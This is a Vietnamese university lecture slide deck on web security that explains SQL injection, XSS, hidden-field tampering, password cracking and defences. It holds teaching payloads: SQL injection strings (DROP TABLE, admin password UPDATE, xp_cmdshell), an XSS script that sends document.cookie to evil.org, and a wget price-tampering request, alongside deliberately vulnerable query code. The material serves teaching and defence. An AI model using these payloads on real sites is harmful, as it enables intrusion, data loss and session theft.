54
Thiết kế & Lập trình Web 2 © 2009 Khoa Công nghệ thông tin Khoa CNTT – ĐH.KHTN Bi 11 Web Security Ths. Trần Thị Bích Hạnh

Bài 11 Web Security

  • Upload
    maylin

  • View
    57

  • Download
    2

Embed Size (px)

DESCRIPTION

Bài 11 Web Security. Ths . Trần Thị Bích Hạnh. Nội dung. Một số khái niệm về Bảo mật Một số lỗ hổng bảo mật Web & cách phòng tránh Các Công cụ hỗ trợ kiểm tra bảo mật Web. Nội dung. Một số khái niệm về Bảo mật Một số lỗ hổng bảo mật Web & cách phòng tránh - PowerPoint PPT Presentation

Citation preview

Page 1: Bài  11 Web Security

Thiết kế & Lập trình Web 2

© 2009 Khoa Công nghệ thông tin

Khoa CNTT – ĐH.KHTN

Bai 11

Web Security

Ths. Trần Thị Bích Hạnh

Page 2: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Nội dung

Một số khái niệm về Bảo mật

Một số lỗ hổng bảo mật Web & cách phòng tránh

Các Công cụ hỗ trợ kiểm tra bảo mật Web

2

Page 3: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Nội dung

Một số khái niệm về Bảo mật

Một số lỗ hổng bảo mật Web & cách phòng tránh

Các Công cụ hỗ trợ kiểm tra bảo mật Web

3

Page 4: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Threats & Vulnerability

4

Threats

– Hanh động hoặc sự kiện gây hại đến hệ thống

Vulnerability

– Lỗ hổng hoặc điểm yếu của hệ thống ma từ đó cho phép người khác xâm nhập vao hệ thống

Page 5: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Malicious Software

Virus

– Các chương trình có khả năng tự nhân bản va lây nhiễm vao các tập tin trên máy tính

– Khi người dùng thực thi một tập tin bị nhiễm virus sẽ kích hoạt virus hoạt động

Trojan

– Chương trình thu thập thông tin dữ liệu từ máy tính

Worm

– Các chương trình có khả năng nhân bản từ máy tính nay sang máy tính khác nhằm mục tiêu chiếm thời gian xử lý CPU va thời gian để xóa chúng

5

Page 6: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Bảo vệ ứng dụng

Sử dụng Firewall

Sử dụng Chương trình Anti-virus

Sử dụng Chương trình Anti-spyware

6

Page 7: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Password Cracking

Phương pháp lưu mật khẩu

– Không mã hóa

– Mã hóa 2 chiều

– Mã hóa 1 chiều

Password cracking

– Brute force attack

– Dictionary attack

7

Page 8: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Không mã hóa mật khẩu

8

Page 9: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Mã hóa 2 chiều

9

Page 10: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Mã hóa 1 chiều

10

Page 11: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Password Cracking

11

Page 12: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Password Cracking (tt)

Brute force attack

– Mã hóa hang ngan passwords có sẵn bằng ham hash

– So sánh kết quả với dữ liệu hash trong database

Dictionary attack

– Lưu danh sách các username & password thông dụng

– Dùng các thông tin nay để thử đăng nhập hệ thống

12

Page 13: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN13

Bảo vệ mật khẩu

Giới hạn số lần đăng nhập thất bại

Sử dụng mật khẩu mạnh (strong password)

– Chiều dai tối thiểu

– Không sử dụng các từ trong tự điển, dãy ký tự liên tiếp

– Kết hợp chữ cái, kí tự số, kí tự đặc biệt

Chứng thực người dùng khi đổi & reset mật khẩu

– Khi thay đổi mật khẩu, nên chứng thực lại người dùng: mật khẩu cũ, tai khoản người dùng…

– Khi nhận được yêu cầu reset mật khẩu, cũng nên xác nhận lại yêu cầu reset

Sử dụng các giao thức đáng tin cậy khi xử lý mật khẩu

Page 14: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

E-mail Attacks

E-mail Bombing

– Gửi cùng một email nhiều lần đến một user

– Mục tiêu chiếm đường truyền va xử lý của mail server

E-mail Spamming

– Gửi email đến nhiều user

– Thường sử dụng mailing list

14

Page 15: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Bảo vệ Email

Không hiển thị địa chỉ email trên web

<a href=mailto:[email protected]>Gui mail</a>

Sử dụng hình ảnh hoặc ký tự đặt biệt để thay thế

Ttbhanh at fit dot hcmuns dot edu dot vn

Thiết lập rule cho mailing list chỉ nhận email từ mail nội bộ

Sử dụng CAPCHA đề phòng nhập liệu tự động…

15

Page 16: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Denial-of-Service (DoS) Attacks

Gửi liên tiếp nhiều yêu cầu đến server

Mục tiêu

– Chiếm đường truyền mạng

– Chặn kết nối giữa hai máy tính

– Lam cho server không có khả năng phục vụ client

16

Page 17: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

DoS Attacks

17

Page 18: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Nội dung

Một số khái niệm về Bảo mật

Một số lỗ hổng bảo mật Web & cách phòng tránh

Các Công cụ hỗ trợ kiểm tra bảo mật Web

18

Page 19: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN19

Một số lỗ hổng bảo mật Web & cách phòng tránh

SQL Injection

XSS (Cross-Site Scripting)

Hidden Field Vulnerability

Failing to Handle Error

Page 20: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN20

Một số lỗ hổng bảo mật Web & cách phòng tránh

SQL Injection

XSS (Cross-Site Scripting)

Hidden Field Vulnerability

Failing to Handle Error

Page 21: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web va các thông báo lỗi của hệ quản trị cơ sở dữ liệu để đưa vao va thi hành các câu lệnh SQL bất hợp pháp

SQL Injection

21

Page 22: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Các dạng tấn công SQL Injection

Vượt qua kiểm tra lúc đăng nhập (authorization bypass)

Lấy dữ liệu

Thay đổi dữ liệu

Gọi thực thi chương trình khác

22

Page 23: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Vượt Kiểm tra lúc đăng nhập

Câu SQL thường dùng trong đăng nhập:

strSQL = "SELECT * FROM Users "

+ "WHERE Username='" + strUsername + "'"

+ " and Password='" + strPassword + "'"

23

Page 24: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Vượt Kiểm tra lúc đăng nhập (tt)

Để vượt qua, người dùng nhập:

strUsername: ' or '' = '

strPassword: ' or '' = '

Câu SQL lúc nay:

SELECT * FROM Users

Where Username = '' or '' = '' and Password = '' or '' = ''

Câu SQL này luôn đúng, và trả về tất cả thông tin trong bảng Users

24

Page 25: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Xem chi tiết 1 bản tin

– http://www.myhost.com/shownews.aspx?ID=123

– Code xử lý

string ID = Request.QueryString[“ID"];

string strSQL = "select * from News

where NewsID=" + ID;

Nếu người dùng thay chỗ 123 bằng chuỗi 0 or 1=1 Khi đó câu lệnh SQL:

– select * from News where NewsID=0 or 1=1

Lấy dữ liệu - Sử dụng câu Select

Kết quả là sẽ hiện tất cả tin tức

25

Page 26: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Lấy dữ liệu - Sử dụng câu Select & Union

Một số ví dụ khác

' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '='

' UNION SELECT name FROM sysobjects WHERE xtype = 'U'

nếu hệ thống báo lỗi về cú pháp dạng: Invalid object name

“OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION

Liệt kê tên tất cả các bảng dữ liệu

26

Page 27: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Thay đổi dữ liệu - Sử dụng câu lệnh Insert

Câu lệnh dùng:

string strSQL = "INSERT INTO TableName "

+ "VALUES('" + strValue1 + "','" + strValue2 + "','“

+ strValue3 + "')"

Nếu người dùng nhập trường thứ nhất (strValue1)'+(SELECT TOP 1 FieldName FROM TableName)+'

Khi đó câu lệnh SQL:INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')

Ngoài lệnh Insert, thì câu lệnh này còn thực hiện lệnh Select

27

Page 28: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Thay đổi dữ liệu – Sử dụng câu lệnh Update & Drop

; DROP TABLE <Tên Table> --

; UPDATE USERS SET EMAIL=‘your email’ WHERE username=‘admin’

‘ UNION UPDATE USERS SET PASSWORD=‘your pass’ WHERE username=‘admin’

28

Xóa bảng dữ liệu

Tạo địa chỉ email mới sau đó sử dụng chức năng password recovery

Thiết lập mật khẩu mới

Page 29: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Thực thi với quyền quản trị hệ thống ‘sa’

– '; EXEC xp_cmdshell 'cmd.exe dir C:'

Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

Gọi thực thi chương trình khác - Sử dụng stored-procedures

Thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server

29

Page 30: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Cách phòng tránh

Kiểm soát chặt chẽ dữ liệu nhập vao

– Viết ham lọc các ký tự đặc biệt trong chuỗi nhập vao

– Vd: " ", "'", ";", "--", "xp_", "select", "drop", "insert", "delete"

Thiết lập cấu hình an toan cho hệ quản trị cơ sở dữ liệu

– Giới hạn quyền xử lí dữ liệu đến tai khoản người dùng

– Tránh dùng đến các quyền như dbo hay sa.

Page 31: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN31

Một số lỗ hổng bảo mật Web & cách phòng tránh

SQL Injection

XSS (Cross-Site Scripting)

Hidden Field Vulnerability

Failing to Handle Error

Page 32: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

XSS (Cross-Site Scripting)

Một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web va các thông báo lỗi nhằm chèn những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng

32

Page 33: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Phát hiện lỗ hổng XSS

1. Vào website cần kiểm tra

2. Định vị các form nhập liệu: search, login form, querystring…

3. Nhập hoặc chèn đoạn script vào form nhập liệu hoặc trên đường dẫn url & submit. Ví dụ

<script>alert(‘XSS’);</script>

4. Nếu thấy cửa sổ alert xuất hiện thì website có lỗ hổng XSS

33

Ref: http://ha.ckers.org/xss.html

Page 34: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Phát hiện lỗ hổng XSS – Ví dụ

34

Page 35: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Tấn công XSS

35

Page 36: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Tấn công XSS – Ví dụ

36

<script>  i=new Image();  i.src="http://www.evil.org/getcookie.aspx?cookie=" +

escape(document.cookie);</script>

Page 37: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Cách phòng tránh

Kiểm tra dữ liệu nhập từ người dùng

– Chỉ chấp nhận những dữ liệu hợp lệ

– Lọc các ký tự đặc biệt

– Phát hiện các thẻ script

Mã hoá (encoding) các kí tự đặc biệt trước khi in ra website nhằm ngăn chặn website tự thực thi các script không mong muốn

37

Page 38: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN38

Một số lỗ hổng bảo mật Web & cách phòng tránh

SQL Injection

XSS (Cross-Site Scripting)

Hidden Field Vulnerability

Failing to Handle Error

Page 39: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Hidden Field Vulnerability

La thông tin ẩn trong trang web, được thể hiện dưới thẻ

<input type=“hidden” value=“xyz” />

Không hiển thị lên trình duyệt

Có thể xem được với chức năng View Source

39

Page 40: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Hidden Field Vulnerability – Ví dụ

<form id="frmThanhToan" name=" frmThanhToan " method=“POST" action="thanhtoan.php"> <p>Số lượng sản phẩm cần mua:

<input name="sosanpham" type="text" id="sosanpham" size="10" /> (sản phẩm)

</p> <p>Mã số thẻ tín dụng

<input name="masothe" type="text" id="masothe" size="20" /> <input name="thanhtoan" type="submit" id="thanhtoan" value="ok" />

</p>

<input type="hidden" name="gia" value="10000000" /></form>

40

Page 41: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Mô hình xử lý

41

// thanhtoan.phpif ($_REQUEST["thanhtoan"]=="ok"){

$tongtien=$_REQUEST["gia"] * $_REQUEST["sosanpham"]; printf ("Tổng giá tiền: %d VND", $tongtien);

}

Page 42: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Tấn công

42

Wget - -post-data “gia=1000&thanhtoan=ok&sosanpham=1” http://localhost/Security/thanhtoan.php

Page 43: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Cách phòng tránh

Mã hóa dữ liệu lưu trong Hidden Fields

Không lưu các dữ liệu nhạy cảm trong Hidden Fields

43

Page 44: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN44

Một số lỗ hổng bảo mật Web & cách phòng tránh

SQL Injection

XSS (Cross-Site Scripting)

Hidden Field Vulnerability

Failing to Handle Error

Page 45: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Failing to Handle Error

Hệ thống không tự xử lý lỗi va để các thông báo lỗi chi tiết hiển thị những thông tin quan trọng giúp kẻ tấn công xâm nhập hệ thống

45

Page 46: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Failing to Handle Error – Ví dụ

46

Page 47: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Failing to Handle Error – Ví dụ

47

Page 48: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Cách phòng tránh

Bắt & Xử lý lỗitry {…} catch (Exception ex) {…}

Tự hiển thị trang thông báo lỗi – Cấu hình Web.Config<customErrors mode="On" defaultRedirect="ErrorPage.htm">

<error statusCode="404" redirect="NotFound.htm" />

<error statusCode="500" redirect=“ServerError.htm" />

</customErrors>

http://en.wikipedia.org/wiki/List_of_HTTP_status_codes

48

Page 49: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Nội dung

Một số khái niệm về Bảo mật

Một số lỗ hổng bảo mật Web & cách phòng tránh

Các Công cụ hỗ trợ kiểm tra bảo mật Web

49

Page 50: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Các công cụ hỗ trợ kiểm tra bảo mật Web

Nikto

– Open Source (GPL) web server scanner

Paros Proxy

– Cho phép xem/sửa HTTP/HTTPS messages on-the-fly để thay đổi cookies, form fields,…

Acunetix WVS

– Commercial Web Vulnerability Scanner

Ref: http://sectools.org/web-scanners.html

50

Page 51: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Công cụ hỗ trợ kiểm tra bảo mật

- Quét lỗi- Quét cổng - Scan cấu trúc Website - Kiểm tra mức độ bảo mật website- Download: www.acunetix.com

Web Vulnerability Scanner

51

Page 52: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Page 53: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Page 54: Bài  11 Web Security

Thiết kế & Lập trình Web 2 – Bai 11: Web Security

© 2009 Khoa CNTT - ĐHKHTN

Tổng kết

Threats

– Virus, Worm & Trojan

– Brute force attack & Dictionary attack

– E-mail Bombing & Email Spamming

– Denial-of-Service (DoS) Attacks

Web Vulnerabilities

– SQL Injection

– Cross Site Scripting (XSS)

– Hidden Fields Vulnerability

– Failing to handle errors

54